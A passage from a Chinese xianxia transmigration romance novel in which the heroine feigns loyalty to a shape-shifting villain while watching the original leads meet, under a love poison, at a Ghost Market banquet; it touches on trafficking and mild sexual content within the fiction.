无相之主单手支颌,声音显然也用了法术加密,听不出本来音色:“诸位远道而来,有失远迎,今日吾特地设宴款待,不醉不归。”
前来参会的客人纷纷应好陆续落座,玉虚山弟子都听从林无咎的安排,低调行事,默默前往自己的位置坐下。
意寒星略微一扫,果然在人群中发现了一道修长的身影,着蓝裙,带观音面具,应该就是原书女主卫如意了。
西皮粉狂喜!
这趟来得不亏!要知道,这可是原书男女主初遇的剧情!
原书中,卫如意初出茅庐,独身闯荡江湖,误入鬼市,看到许多被欺压的商品奴隶,路见不平拔刀相助,于是乔装潜入无相之主的宴会,准备伺机刺杀。
意寒星收回视线,亦步亦趋地跟着林无咎,后者以为她紧张,便低声安慰道:“无相之主一直神出鬼没,这次忽然设宴,大概只是为了试探我们身份,不一定会直接动手。”
意寒星心道那可不一定,她不动声色地朝上位看去,果然,在无相之主的左耳边看见了一枚小小的银色耳坠。
无相之主朗声笑了两声,端起酒杯:“诸位在我万宝大会上一掷千金,万宝大会多谢各位支持,吾先干为尽。”
不好,意寒星想拦,可林无咎动作太快了,已经端起酒杯碰到了嘴唇边。
意寒星:……如果她没猜错的话,那杯酒里应该就有原书中让男女主初次见面大do特do的情毒了。
林无咎注意到她视线,朝她看过来:“意姑娘,怎么了?”
意寒星摇了摇头,心里盘算着还有多久情毒会发作。
如果在她完成任务之前,林无咎先有了心上人,秦无昼会不会算她任务失败?
蒜鸟,本来这个狗屁任务她就只想敷衍做下得了,还是找秦无昼最重要。
宴会开到中途,一名侍从走到无相之主耳边,说了几句话,无相之主神色不悦地瞪了他一眼,对众人说了句失陪,起身往外走。
意寒星一直在观察无相之主的行动,见他要离开宴会,自己也连忙跟着往外走,才走了没几步,脚腕突然被住了。
她顺着那只拉住自己的手看过去,是个陌生的玉虚山弟子,白脸猫眼,高鼻薄唇,俊朗洒脱,眉眼含笑。
少年盘腿坐在地上,一手拉着意寒星的脚腕,一只胳膊撑在身后,笑意盈盈:“意姑娘这是要去哪?”
他的左耳打着一枚银钉,意寒星现在一看见猫眼、带耳饰的英俊男子就是心头一跳,她又盯着眼前人看了一会,确认自己并不认识对方,才迟疑道:“你是?”
弟子笑嘻嘻道:“我姓秦,单名一个郎字,你直呼我姓名即可,此地人多眼杂,林师伯托我看着你一点。”
刚听到一个秦姓时,意寒星便眉心一跳,待到听完,又是一愣,秦郎,谁会取这么没品的名字?想了想,觉得秦无昼大概没无聊到这种程度,取个一眼就能看穿的假名来逗她,便放下心来。
没想到原书男主居然这么贴心,连在和副本boss对线的场合都没忘派人照顾她,意寒星心中一暖:“替我谢过林仙长,我方才喝多了果酒,现下想出去透透气。”
谁知秦郎跟着站起来:“那我陪你一道去。”
意寒星恨不能甩掉这个粘牙的小修士,她原本打算去验证自己的猜想,怎么能让玉虚山的人跟着。
“还是不用了吧,我想要出恭。”
秦郎笑得一脸灿烂:“无妨,我可以站在净室门外等你。”
意寒星:……
甩不掉,她只能和这少年一前一后离开会场,门外还有几个出来透气、实则暗自警戒的玉虚山弟子,有人看见秦郎和意寒星,同他们打招呼。
“秦师弟,你不是刚进鬼市就说身体不适,我还以为你这次也要在客栈休息,不能来了呢。”
原来之前都在客房里休息,怪不得她没见过这个秦郎。
那人同秦郎寒暄了几句,突然想起什么,对意寒星道:“意姑娘,你最近是不是丢了一只灵宠?方才琳琅府的下人来报,说他们放在院子里的捕鼠笼意外伤到了一只野猫。”
意寒星连忙露出紧张的神色,往据说捉到猫的院子跑,心中却很淡定,以秦无昼的身手,怎么可能被区区一个捕鼠笼夹死。
然而真的看到那只毛色黑白相间的猫尸时,她呆了一瞬。
居然真的是秦无昼的猫身。
身后还跟着秦郎,她不能表示得太过明显,只好表情空白地走上前,
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趁着将猫抱起来的时候,偷偷小声喊了一句:“师尊?”
不出意外,没有回应。
当初秦无昼把分身交给她时就说过,这本来就是一具已经死去的猫尸,只是他往里面注入了自己的一缕神识,才令其能够重新活动。
现下这猫又变成了尸体,是秦无昼自行把神识抽回去了,还是……
秦郎在她身后唤了一声:“意姑娘?”
意寒星正要回话,忽然看见远处走廊一抹雪白的身影,她突然小脸一垮,哽咽起来:“小白,你死的好惨,呜呜……”
一进琳琅府,见到无相之主的第一面,她就怀疑那人是秦无昼的马甲,如今看到奶牛猫被抛弃的尸体,她就更确信了,定然是那人有了更方便接近林无咎的身份,所以这只猫就毫不犹豫地被抛弃了。
而对意寒星来说,想对顶头上司表忠心,有什么比在他本人面前哭他的坟更有效的呢?
她偷偷伸手掐了自己一把,愣是挤出两滴眼泪,像个刚刚失去孩子的母亲一样,爱怜地抚摸着小猫垂下的脑袋:“小白,你怎么就这么走了,我好舍不得你,呜呜呜……”
秦郎沉默片刻,语气有点不自然:“你一直在找它?”
意寒星抽泣着,保证自己的声音清晰,正好能让远处的黑衣人听见:“嗯。这是一个很重要的人送给我的。他对我很好,所以我也一定会好好对待他给我的这只猫。”
这就是纯粹睁着眼睛说瞎话了,平心而论,秦无昼对待她绝对算不上一个好字,她又不是斯德哥尔摩症候群患者。
不过,听听,多么感天动地的师徒情,就算是秦无昼那种冷心冷血的凶徒,听了以后也该有点动容吧。
至少,请不要再怀疑她勾结林无咎了,那种可恶的“惩罚”她这辈子都不想再来一次了。
秦郎忽然笑了一声:“就是一只猫而已。”
意寒星怎么能容许有人拆台,悲伤地反驳:“只是猫怎么了?小白它陪过我,我记得它,我给了它名字,它就不再是普通的小猫了!”
秦郎却走上前,在意寒星困惑的目光中,夺走了猫尸:“已经死了的东西,就该入土为安。”
意寒星有些不满,正要多说,走廊那道白色人影却朝他们走了过来,她一看清那人的脸孔,顿时一阵失望。
不是无相之主,是先前接引他们入府的白衣侍从,他恭恭敬敬地走到意寒星面前:“府中地形多变,容易迷路。主人吩咐我为诸位贵客引路,姑娘要去净室的话,请跟我来。”
意寒星抹掉眼泪,心中暗道倒霉,不是秦无昼,那她方才的眼泪白流了。
*
意寒星去了女客的净室,秦郎不方便跟过去,就站在花园里等她。
小猫的尸体被她挖了个小坑,埋在一株盛放的紫杜鹃下。
秦郎,或者说秦无昼的另一个分身,盯着那堆满落花的小小坟堆看了一会,面无表情地移开视线。
那只猫是当初他在枯骨墟时捡到的,也不知道那么小、那么弱的一个东西,是怎么在魔气肆虐、寸草不生的枯骨墟活下来的。
他捡到它时,后者已经饿得眼睛都睁不开了,趴在地上喘气等死。
也巧,他那时刚刚杀了一只魔,切下来的尸体吃不完,顺手就丢给它了。
也是它命硬,居然真的靠着有一口没一口的血肉活了下来,渐渐能站起来,能绕着他的小腿转圈,能讨好地蹭他的裤腿。
他的眼睛被挖掉了,看不见路,也是这只没来历的野猫,带着他走出了据说无人生还的枯骨墟。
野猫没有开灵智,也没有修炼的机缘,没过几年就死了,秦无昼没把它的尸体埋葬,只是留着炼成了能够容纳自己一缕神识的分身器皿。
只可惜他的气息被玻璃日的后遗症影响,于旁人有毒,使用猫尸的次数越多,尸体便损坏腐烂得越严重。
送意寒星来鬼市,也是这只猫尸使用的最后期限了。
秦无昼在原地站了一会,紫杜鹃依旧静静怒放,小小的坟包前立了一块小石堆,是意寒星当做标记,说以后还要回来看它的。
倒也是个不错的安息之所,他没什么感情地笑了一声。
说到那傻徒弟,他忽然又想起来,被自己拿走的那件小衣,好像就在这个分身的袖口里,原本打算今晚放回她床边的。
他抬起手,闻到自己袖口里,一点淡淡的香味。
17. 女主出场
意寒星借口甩开了秦郎,进了净室,准备翻窗逃去见见那个传闻中的无相之主,她总觉得那人和秦无昼迷之相似。
然而她刚刚打开窗户,就同屋外蹲在墙根的人面面相觑。
意寒星张口就要喊人,对方却十分敏捷,直接跳进了屋内,捂住了她的嘴。
竟是那个白衣侍从。
他神色焦虑,压低了嗓子:“六十七号,是我,五十八号啊!”
意寒星一怔,用手指了指自己:六十七号,在说她吗?
五十八号点头,语气有些落寞:“真没想到还能见到你……我以为你你已经逃出去了!为什么还要再回到鬼市?!万一主人发现你、你会死的!”
他说着,又焦急起来,拖着意寒星往外走:“不行,趁其他人还没有认出你,你快点离开!”
意寒星被他这番颠三倒四的话弄得头晕,好一会才掰开他的手:“我认识你?”
对方神色悲凄:“从前的事,你都忘了吗?……唉,忘了也好,像我这样忘也忘不掉,反而是活着受罪。”
一开始意寒星还怀疑对方是认错了人,可转念想到《霸道仙尊日日强制爱》里对原身生平经历的留白,她又拿不准了。
“我前年生了一场大病,痊愈后许多事情都记不清了。你说的什么六十七号……”
侍从盯着她看了一会,似乎在辨认她说的话是真是假,半晌,他忽然一声不吭地开始解腰带。
意寒星大惊失色:?!
幸好,对方没有像她担心地那样做出什么出格的举动,他只是略微卷起了一点上衣,露出小腹上一朵淡红色的曼珠沙华。
和她小腹一样的,炉鼎的特有纹身。
不同的是,他身上的颜色浅淡,下方数字是“五十八”,而她小腹上的颜色浓郁,下方刻着“六十七”。
意寒星的呼吸停了一瞬。
五十八号重新将衣裳穿好,语气麻木:“当初我们是同一批被卖进天香楼的炉鼎,鬼市会给每个货物都标号,我是五十八号,你是六十七号。”
“当时我被打得半死,是你冒着生命危险替我偷来了疗伤的灵药,还连累你也挨了一顿毒打。自那以后,我丁瓦就认定你是我此生唯一的朋友了。”
丁瓦继续道:“当初你因为性子太执拗,总是反抗挨打,也卖不出去,我则是被前任的无相之主留下进了琳琅府,也多亏如此,我才能想办法接济你。”
“就这么过了许久,直到一百四十八年前,一个很厉害的修士闯进鬼市,杀死了前任无相之主,鬼市大乱,我也失去了你的踪迹。”
一百四十八年,距离秦无昼入魔、被葬入枯骨墟,只过了两年,这几日这一年份总是出现,意寒星再次听到,难免多想。
“那个杀了前任无相之主的修士,长什么样?”
丁瓦一愣:“个子很高,穿的一身紫,嗯……不用剑,听说是徒手撕掉了前任无相之主的脑袋。”
嗯,行事作风也很像秦无昼。
丁瓦见她一副若有所思、慢吞吞的样子,立刻急了:“别提这些了!这么多年,我以为你早就离开鬼市了,可你居然还敢回来!如果有人看到你身上的记号,肯定会把你重新抓回天香楼!到时候你就跑不掉了!”
他不由分说就扯着意寒星往外走:“我在琳琅府服侍多年,知道一条密道,你从那里走,然后立刻离开鬼市,从此以后都不要回来了!”
她哪能就这么莫名离开,且不说时候怎么和林无咎解释,首先秦无昼那边她就无法交代啊。意寒星试图和他解释:“我如今和玉虚山剑宗修士呆在一起,他们会保护我的。”
丁瓦闻言却呸了一口:“那帮满口假仁假义的伪君子!鬼市存在这么多年,枉死的炉鼎、奴隶数以千万,何时见过仙山上的人过问过一句?他们的手上难道就干净吗?别以为我们不知道前任无相之主就是他们的一条狗!”
意寒星一愣:“什么意思?”
从一进鬼市,她便觉得奇怪,这样明目张胆的绑架、贩卖、折磨,居然无人问津,甚至鬼市与玉虚山始终相安无事。
若是,双方暗中往来,仙门收了好处,对此睁一只眼闭一只眼,那一切就解释的通了。
脑海中仿佛隐隐有一根线条正在串起来,她低声道:“鬼市与仙门背地里有交易,对不对!”
丁瓦欲言又止,避开她的视线:“不能,我不能泄露有关主人的事情,若是被主人知道了……主人神通广大,肯定会知道的!”
她算是看出来了,这人就跟《哈x波特》的多比一样,虽然是好心,但行为举止疯疯癫癫,半个谜语人,意寒星实在应付不来,使劲甩开他:“就算你不说我也知道。仙门拿了鬼市的好处,答应不管鬼市的肮脏存在,但五日前无相之主却突然反悔,抓了几个玉虚山弟子。”
而这一切的变机,来自五日前鬼市忽然躁动,几个玉虚山弟子接连失踪。
五天前,正好是秦无昼从枯骨墟获取了玻璃日的时候。
那时她以为他的虚弱是因为枯骨墟内的魔气,现在想想,或许是他重返鬼市、抓捕玉虚山弟子的缘故呢。
不用想,他做这一切,都是冲着林无咎来的——先是弟子失踪,引出林无咎,再以她为明面诱饵,分散林无咎注意力,自己伪装成无相之主,几次试探,最终一击得手。
意寒星定了定神,对丁瓦道:“其实我没有告诉你,我现在也是一名修士了,我可以保护我自己的。”
怕他不信,她随手拔出青花瓷瓶里的梅枝,回忆起先前秦无昼教过自己的招式,在丁瓦面前比出姿势:“雏鹰起飞!”
她特地用上了灵力,只见一道灵光闪过,地砖立刻裂开了一道宛如雷劈过的深沟。
意寒星和丁瓦一起吓了一跳,这还是她第一次正儿八经地用上灵力挥剑,没想到威力出乎意料得不错。
看来那便宜师尊教她的时候倒是没有藏私。
只不过以她目前的实力,也只能使出这一下,没办法,炉鼎体质天生不适合储存灵气,方才那一下已经将她体内灵气全耗光了。
不过意寒星还是很乐观,三十年河东三十年河西,她现在不行,不代表以后不行,一招鲜也能吃遍天,谁说一拳超人不是超人呢!
至少,她现在露的这一手拿来偏偏没见识的丁瓦,已经足够了。
丁瓦拽不动她,又害怕她手上古里古怪的招式,愣在原地,那模样看起来有些可怜。
意寒星忍不住道:“其实现在那个无相之主,我说不定认识呢。”如果自己猜得没错,他应该就是秦无昼的新分身。
丁瓦大概有什么PTSD,一提到无相之主就吓得脸孔煞白,说话也哆嗦起来:“不行,主人很可怕的,他——”
“意姑娘?”门外传来秦郎的声音。
丁瓦脸色突然一变,下一刻就跳窗逃走了。
意寒星这才若无其事地回身去开门。
秦郎负手站在门外,闻声回头朝她灿烂一笑。
意寒星:……莫名有种被抓包的心虚。
等意寒星脸色如常地走过去,秦郎才笑道:“你耽误了好久,错过了热闹,和林师伯有关,你肯定猜不到那是什么。”
事实上,她还真知道。
终于要来了吗?原书中男女主金风玉露一相逢、便胜却人间无数的初遇!
意寒星默了默,暂时将大反派和他的阴谋诡计丢到一边——反正原书男主气运加身,不可能这么轻易地就被反派打倒。
她装作好奇道:“秦仙长别吊我胃口了,和我说说吧,到底发生什么了?”
秦郎:“林师伯喝醉了酒,一直缠着一名女子。”
意寒星:“哦!她长什么样?”
他瞥了她一眼,又笑道:“长得嘛,一般好看,同你差不多。”
意寒星权当他在揶揄,也笑了笑,一手拉着他的袖子,另一手拎起裙角就往宴会殿上跑:“那我们快去看看。”
还没进宴会殿,就已经听见里面的高声争执。
是吴英子的声音,十分紧绷:“你要把我师伯带到哪里去?”
“你的眼睛若是无用,可以捐给有需要的人。”另一道空灵平静的声音道,“明明是你们的师伯一直拉着我不撒手。”
这应该就是女主卫如意了,同书中说得一样毒舌清冷。
吴英子的声音有些气急败坏:“师伯你醒醒!赶紧放开这位姑娘!”
一阵拉拉扯扯的动静,夹杂着林无咎含糊的醉话:“这位,嗝儿,姑娘,如意,如意,你的名字真好听……我一见你,嗝儿,就心跳得好快……你我,有缘?”
能跳得不快吗,那可是千丝万绕情毒。
卫如意应当也中了情毒,虽然声音听
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起来还是平静,但怎么也没扯开林无咎。
而赶到现场的意寒星拍拍屁股,坐在门槛上,准备吃瓜。
秦郎看了一眼自己被她松开的袖口,然后才跟着坐在她旁边。
意寒星纳闷瞧他:“你还待在这做什么?”
她本意是想委婉提醒这人不要当个跟屁虫,哪知落在秦郎耳朵里成了另一层意思,他托着腮,笑了笑:“林师伯无需我帮忙。而且,你可知林师伯为何绰号修罗剑?”
不等她答,他自顾自笑嘻嘻道:“人如修罗,剑斩亡魂,是说死在他剑下的人,连魂魄都不会留下。你该担心的是那位被他缠上的姑娘。”
意寒星睁大眼睛,假装担心、实则不然:“林仙长看起来那样温和斯文,没想到出手竟如此狠辣。”嘿嘿,原男主再凶又怎样,还不是独独对女主一往情深,让他去伤卫如意,还不如让他自尽来的容易。oi!是双标怪!
况且,要不是她看到原书后半段,知道原书男女主其实是一见钟情,只是一个锯嘴葫芦、一个清冷后知后觉,彼此都没说出口而已,她可能真和吴英子等人一般上去扯开他们了。但是既然知道了,人家男女主天生一对,她这个小小配角还是不凑上去捣乱吧。
不过,想到秦无昼的某个分身可能正躲在阴暗的角落里窥视,意寒星还是得装装样子,于是她捏着袖口,开始擦拭并不存在的眼泪。
秦郎好奇地看了她一眼,似乎觉得有趣,无声笑笑。
“哎呀,诸位在此好生热闹。”场下的骚乱终于惊动了无相之主,他也喝多了,脚步醉醺醺的,走到瞬间紧绷的玉虚山弟子面前,挠着下巴,“这位仙长,怎么有点眼熟?”
吴英子结巴道:“我师伯喝醉了,我们这就带他回去。”
林无咎完全像个醉汉,一步三晃,忽然两手乱挥,一不小心打掉了无相之主脸上的面具,露出一张丑到平平无奇的脸,三角眼、蒜头鼻。
和秦无昼没有半点相像,围观一切的意寒星连假哭都忘了,顿时惊讶地“咦”了一声。
秦郎坐在她身边,闻声瞥了她一眼:“你怎么好像很意外?”
意寒星自我怀疑中,以秦无昼好卖弄的纨绔子弟风格,就算要找分身,也决不会找这么个丑男,难不成她的推理从头到尾都错了?她含糊其辞:“没有,就是一开始以为无相之主带个面具,是因为他长得太帅了。”
秦郎发出爽朗的哈哈笑声,不知道是在说她还是说她的想法:“有意思。”
意寒星没空搭理他,因为吴英子已经搀着林无咎往外走,在朝她招手。
她身边还站着一个高个子的少女,白裙蓝边,宛如风中浪花摇曳,梳单髻,五官清丽脱俗,却绷着脸,死死抱着林无咎的胳膊。
第一次见到原书女主,意寒星难免多看了几眼,然后刚刚收回视线,就和盯着自己的秦郎撞上了。
她顿了下,才露出困惑的表情:“秦仙长?”
秦郎忽然道:“意姑娘,好像对林师伯的事情特别在意?方才为了他与别的女子纠缠而黯然落泪,现下又……”
这人要在男女主面前胡说什么!意寒星连忙捂住他的嘴,用力摇头,压低声音道:“你懂什么!要是林仙长和别人在一起,我就活不了了!”秦无昼肯定不会放过她的!
秦郎被她捂着嘴,仅仅露出的两只黑亮眼睛里满是无辜和趣味,然后才轻轻“唔”了一声,意寒星这才意识到自己未免过于激动,连忙收回了手,小声道了句“抱歉”。
秦郎看了她一眼,又伸手摸了摸自己方才被掌心贴过的嘴唇和脸颊,忽然没什么感情地笑了一下,转身离开。
*
次日,秦无昼从浅眠中醒来,蜡烛彻夜燃烧,如今只剩下堆堆烛泪。
他翻身坐起,袖口中滑落出昨晚忘记还给某人的小衣。
察觉到某处感受时,他的脸色再次变得古怪。
明明已经很久没有在晨间这般……
须臾,他缓缓吐了一口气,重重倒回床上。
将轻薄暖香的面料敷在面上,遮住了所有视线,天地之间仿佛都笼罩上了淡淡暧昧的粉色。
渐渐变得急促粗重的一呼一吸之间,衣料轻盈若羽,随着浊热气流鼓起又熄落,宛如一只颤颤巍巍,随时可能展翅欲飞的蝶。
秦无昼再次一个深呼吸,面无表情地将手探了下去。
18. 无相之主
意寒星下楼用早膳时,特地观察了一番,没看见林无咎和卫如意。
“林仙长呢?”她在桌边坐下,问其他玉虚山的弟子。
这些日子她日日围着林无咎转,口中“林仙长”长、“林仙长”短的,人人都觉得她对林无咎有意,听见她问,众人纷纷一僵,随即啃包子的啃包子,喝豆浆的喝豆浆,全都装作很忙的样子。
意寒星视线所到之处,一众年轻弟子的脑袋都像被镰刀刮过的稻草,不约而同低了下去。
就差在脸上写个“别问我我心虚”了,她看的好笑,但表面功夫不能不做,再次明知故问:“昨天那个高个子的漂亮姑娘,怎么也没见到她?”
其中一人被她盯得没办法,不得已支支吾吾开口:“其实,天涯何处无芳草,意姑娘你何必单恋我们林师伯这一枝花呢,像你这样温柔可爱的姑娘,肯定也有很多人喜欢的。”
哟呵,看这说法,估计昨晚男女主真的按照原书剧情发生了什么。
意寒星顿时燃起了一颗熊熊的八卦之心:“昨晚他们是不是——”
话才说到一半,就被一道女子的冷淡嗓音打断:“既然如此,我先杀了你,再自杀便是。”
桌边所有玉虚山弟子眼睛全都瞪大了,齐刷刷朝二楼看去。
一道素白的身影率先冲出房门,意寒星一看,险些没惊掉下巴。
堂堂玉虚山修罗剑林无咎,何曾有过这么落魄的时候,束发的玉冠歪了一半,一手扶着歪掉的发冠,另一只手还提溜着没来得及束紧的腰带。
他一边把腰带往衣裳里塞,一边苦笑着,冲身后追出来的另一道天青色身影歉然道:“抱歉,我不知原来昨夜我与姑娘都身中情毒,你我无法自控,但我对姑娘做的事,我万死难赎,卫姑娘你要打要骂我都认。”
卫如意没什么表情,手里提着剑,淡淡点头:“那好,我这就送你上西天。”
说完,一剑就朝他劈过去。
不愧是原著里的三无清冷美少女!
意寒星一边磕蚕豆,一边美滋滋地看自己的西皮拌嘴打架,原书初期阶段,男女主走的就是类似欢喜冤家的风格,一路吵吵嚷嚷,却不知道什么时候彼此情根深重,已经生死难离了。
仙品,好嗑,爱磕,要一直磕。
她在这厢看得津津有味,忽然身边冒出一个幽幽的声音:“你看着他们这样,心里不难受?”
意寒星一扭头,秦郎不知什么时候坐在了她旁边的空位上。
“我有什么好难受的。”她又往嘴里丢了个蚕豆,“林仙长和卫姑娘郎才女貌,很般配啊。”
秦郎默了默,若有所思:“欲擒故纵吗,倒也不失为一种手段。”
意寒星:?
正好此时楼上两人停了下来,卫如意的剑没刺中林无咎,有些遗憾地叹了口气:“是我技不如人,我回去学几招,改日再来杀你。”说完当真飘然而去。
而林无咎头疼地揉了揉眉心,将发冠戴好,捏着佛珠,走下楼来。
原本还在吃瓜看戏的众人顿时一哄而散。
意寒星趁机上前,满足自己的西皮脑:“林仙长,您与卫姑娘这是?”
林无咎默了默,忽然道:“等鬼市的事情了了,我会向她提亲。”
意寒星:?
等等,原书的剧情有这么快的吗。
“会不会太突然了?你们毕竟昨日才认识啊。”
虽然自己磕的西皮要在一起了,她心里很高兴,但也得有命高兴才行——男主卫如意求亲能不能成她不知道,但这消息要是被秦无昼知道了,她就真的成不了了!
林无咎苦笑着摇头:“玉虚山门规严苛,弟子保持清白之身,我已触犯门规,对不起宗门,不能再对不起卫姑娘。”
意寒星无言片刻,试图为自己的任务最后努力一把:“说到底你们也是身不由己,中情毒这种事,大家都不想的嘛,但是有过露水情缘也不一定要马上成亲嘛,人生大事,急不得啊。”
“这是什么话!”林无咎皱眉,“男女之事,岂能儿戏!寒星你以后莫要再这样说了,免得我将你误认成合欢宗那批邪修!”
意寒星:。
疾言厉色一番,林无咎又恢复了温和颜色:“意姑娘,在下有事相求。”
他犹豫片刻,才低声道:“我惹恼了卫姑娘,有心想要同她和好,但我素来与女子交友甚少,不知该如何去做……原本我想拜托英子,但她又多有误会,所以我只能请你……”
怕不是吴英子又把女主当成缠着林无咎的莺莺燕燕了,意寒星爽快颔首:“林仙长但说无妨,我有什么能帮上忙的,定当全力而为。”
林无咎:“我想请你替我向卫姑娘转达我的歉意。”
“这还不简单。”
看来男女主进展还有得磨合啊,送走林无咎,意寒星叹了口气。
“心上人要娶别人了,你很伤心?”
“秦仙长?”意寒星惊讶地回身,“你怎么还没走?”
这人刚刚就这么无声无息站在她背后,听完了她与林无咎的对话吗?
秦郎盯着她:“口口声声说他二人相配,可林师伯真的要娶别人了,你还不是出手阻拦。”
意寒星不知道怎么和他解释,不是不成亲,而是缓成、慢成、优成,有次序地成,让有能力的人先成,让富裕的人先成,才能先成的人带动后成的人,也要具体情况具体成……
反正和他说不清楚,她没好气地瞪了他一眼:“不关你的事。”
秦郎盯着她看了片刻,突然灿烂一笑道:“不过,比起那个卫姑娘,我还是更看好你,加油哦。”
意寒星不想搭理他,追着卫如意消失的方向去了。
鬼市大街上,她远远瞧见身穿鹅黄纱裙的高个子少女,连忙追上去:“卫姑娘。”
卫如意停下脚步,怔了一下:“你是?”
意寒星自我介绍一番,又努力装作自然偶遇,试图同正主拉近关系。
“好巧啊,卫姑娘也来买东西?”
“嗯。”卫如意的态度算不上热络,“昨晚我的裙边被撕破了。我来买条新裙子。”
看来男女主昨晚战况激烈啊,又吃到第一手的糖了,意寒星在心里美滋滋。
“正好我也少件衣裳,不如我们一起去吧。”
卫如意奇怪道:“我与你不相熟,为何要与你一道?”
好不谙世事的性子,和意寒星在原书中看到的一模一样,因为父母早亡,卫如意由年迈的大伯抚养长大,都说穷人家的孩子早当家,女主从小就比旁人早熟懂事,也更能体会人情冷暖,这也养成了她不善于接受他人善意、不习惯与人亲近。
但意寒星和一众读者都知道,卫如意就是刀子嘴豆腐心而已。
比如现下,卫如意同她并肩而行,一边忍不住瞄她,一副有话要说的模样。
意寒星替她憋得难受,忍不住开口:“卫姑娘是有话同我说?”
卫如意立刻收回视线:“没有,你想太多了。”
“哦,但我有话要说。”意寒星微微一笑,“卫姑娘你还在生林仙长的气吗?”
卫如意不悦道:“你来找我,就是为了替他说话?你对他倒是很好。”
意寒星想了想,道:“林仙长救过我,我一直把他当成亲兄长对待的。”
还是哥哥这个说法好,进可攻退可守。
卫如意憋了会,挤出来一句:“可我听吴英子姑娘说,你心悦他?”
什么!吴英子!你竟敢在我的西皮面前造我的谣!
可恶!
意寒星刚想摇头,忽然一激灵,她猛地扭过头,大街上人来人往,远处酒楼热络,没有丝毫异样。
可
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方才她明明感觉到背后有一股极为强烈的视线?
忽然想到可能埋伏在哪盯着自己完成任务的秦无昼,意寒星硬生生将嘴边的话改了个调:“林仙长这样的谦谦君子,谁见了不喜欢呢?但我自知与仙长云泥之别,不敢多做肖想,只希望他早日觅得佳偶,幸福安宁而已。”
卫如意脸色复杂,半晌,低声道:“你真是个善良的好姑娘。”
意寒星心虚垂眸:“没有,也没有吧……”
卫如意似乎看穿了她的来意,道:“你不必多费口舌替他说话了,我同此人话不投机半句多。”
两人一前一后进了成衣铺,却在里面看见了一张熟悉脸孔。
“林仙长,好巧啊,你也来买衣服?”意寒星率先喊出声。
林无咎却是一脸干坏事被抓包的心虚表情,见到二人,下意识将手里的裙子往后藏了藏:“嗯,对啊。”
他手里捏着的,好像是女式的襦裙?
意寒星眸光如电,装作一脸好奇的模样:“林仙长,你为什么买女子穿的衣裙?”
她又仿佛想到什么,看了一眼身边面无表情的卫如意,故作恍然大悟:“卫姑娘的衣裳好像坏了,难不成你是给她买的?”
磕到了,磕到了!
林无咎一贯四平八稳的表情上出现了裂缝:“意姑娘,你莫要——”
“我不受你的东西。”卫如意冷淡道,“一点蝇头小利,也不可以让我原谅你。”
林无咎神色有些失落:“卫姑娘……是我对不住你。”
意寒星看看这个又看看那个,只觉得头疼,试图缓和关系:“相逢就是有缘,不如我们先找个地方,喝几杯茶?”
卫如意忽然道:“林仙友与其有闲心管我的闲事,不如先顾好眼前人。意姑娘的裙子也破了,你该给她买一件。”
莫名中枪的意寒星:?
林无咎一怔,看向她:“意姑娘,你的裙子也坏了?”
意寒星连忙摆手表示自己不用,扭头就见卫如意一脸恨铁不成钢的表情盯着她。
不是,女主,你在乱拉什么鸳鸯谱啊!
林无咎一脸歉然:“怪我,这段日子太忙,没顾得上照顾你,意姑娘你喜欢什么样的?”
意寒星被他俩左一个“意姑娘”又一个“意姑娘”闹得心烦,根本挣脱不掉。
……一出纠结闹到最后,意寒星抱着两条新裙子,一脸呆滞地出了门。
林无咎好好先生替她买了一件就算了,怎么连女主卫如意都自掏腰包送了她一件啊!
拿人的手软,意寒星实在过意不去,闹着要请二人喝酒。
林无咎自是却之不恭,卫如意则说她还有一些生活杂物需要采买,让他们二人先去占位,自己待会就来。
正巧不远处就有一家气势恢宏的酒楼,两人并肩进了大厅。
今日酒楼内似乎有贵客,通往二楼的楼梯站满白衣侍卫,连送菜的小二都要经过严格搜身才能上去。所有客人都被赶到一楼大厅,意寒星两手拎着礼物,在拥挤人群中艰难穿行,林无咎看不下去,拿过她手上的购物包裹,伸手扶了她胳膊一把。
意寒星扭头冲他感激一笑,余光中不经意瞥见二楼雅阁内的帘子被微微挑起来了一点。
是无相之主。
他今日又是一身素白,脸戴白骨面具,一腿架在另一腿的膝盖之上,单手支颌,另一只手捏着一枚红漆羽箭。
面具之后,微凉微刺的目光,似乎也落在她和林无咎的身上。
这幅风流情态,令意寒星难免多看了几眼。
奇怪,这人好像和上次在琳琅府见到时不一样了。
“意姑娘?”林无咎见她分神,险些又被挤过来上菜的店小二撞到,只好揽过他的肩。
就在此时,无相之主稳稳投出了那枚锋利羽箭,箭尖正冲楼下二人。